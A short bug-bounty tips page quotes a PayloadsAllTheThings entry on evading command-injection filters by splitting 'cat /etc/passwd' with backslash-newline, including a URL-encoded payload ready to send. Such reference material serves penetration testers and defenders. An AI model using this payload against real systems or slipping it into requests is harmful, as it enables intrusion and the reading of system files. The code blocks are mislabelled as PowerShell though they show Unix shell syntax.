Command Injection: Bypass With Backslash Newline

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • Commands can be broken into parts by using backslash followed by a newline

    powershell
    $ cat /et\
    c/pa\
    sswd
  • URL encoded form would look like this:

    powershell
    cat%20/et%5C%0Ac/pa%5C%0Asswd

Comments

No comments yet.